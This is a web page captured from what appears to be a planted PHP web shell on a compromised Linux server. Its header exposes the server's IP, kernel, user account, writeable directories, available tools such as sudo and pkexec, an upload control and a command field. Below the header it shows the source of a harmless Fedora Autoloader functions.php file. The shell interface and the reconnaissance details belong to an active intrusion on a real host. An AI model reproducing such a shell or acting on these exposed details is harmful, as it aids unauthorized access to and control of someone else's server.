403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/php/Fedora/Autoloader/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/php/Fedora/Autoloader/functions.php
<?php
/**
 * This file is part of the Fedora Autoloader package.
 *
 * (c) Shawn Iwinski <shawn@iwin.ski> and Remi Collet <remi@fedoraproject.org>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace Fedora\Autoloader;

/**
 * Check if given path is a full or relative path
 *
 * @param string $path to check
 *
 * @return boolean
 */
function isFullPath($path)
{
    if (DIRECTORY_SEPARATOR == '/') {
        /* Unix/Linux */
        return ($path[0] == '/');
    }
    /* Windows */
    if (ctype_alpha($path[0]) && $path[1]==':') {
        return true; // Drive
    }
    if (($path[0] == '/' && $path[1] == '/') || ($path[0] == '\\' && $path[1] == '\\')) {
        return true; // UNC
    }
    return false;
}

/**
 * Scope isolated require.
 *
 * Prevents access to a class' $this/self from required files.
 *
 * Originally taken from
 * {@link https://github.com/composer/composer/blob/master/src/Composer/Autoload/ClassLoader.php Composer/Autoload/ClassLoader::includeFile()}.
 *
 * @param string $file File to `require_once`
 *
 * @throws \RuntimeException If file does not exist or is not readable
 */
function requireFile($file)
{
    if (!isFullPath($file)) {
        // Search for relative path in the defined include_path
        if ($path = stream_resolve_include_path($file)) {
            $file = $path;
        }
    }
    if (is_file($file) && is_readable($file)) {
        require_once $file;
    } else {
        throw new \RuntimeException("File not found: '$file'");
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to a class' $this/self from included files.
 *
 * Originally taken from
 * {@link https://github.com/composer/composer/blob/master/src/Composer/Autoload/ClassLoader.php Composer/Autoload/ClassLoader::includeFile()}.
 *
 * @param string $file File to `include_once`
 */
function includeFile($file)
{
    include_once $file;
}

Youez - 2016 - github.com/yon3zu
LinuXploit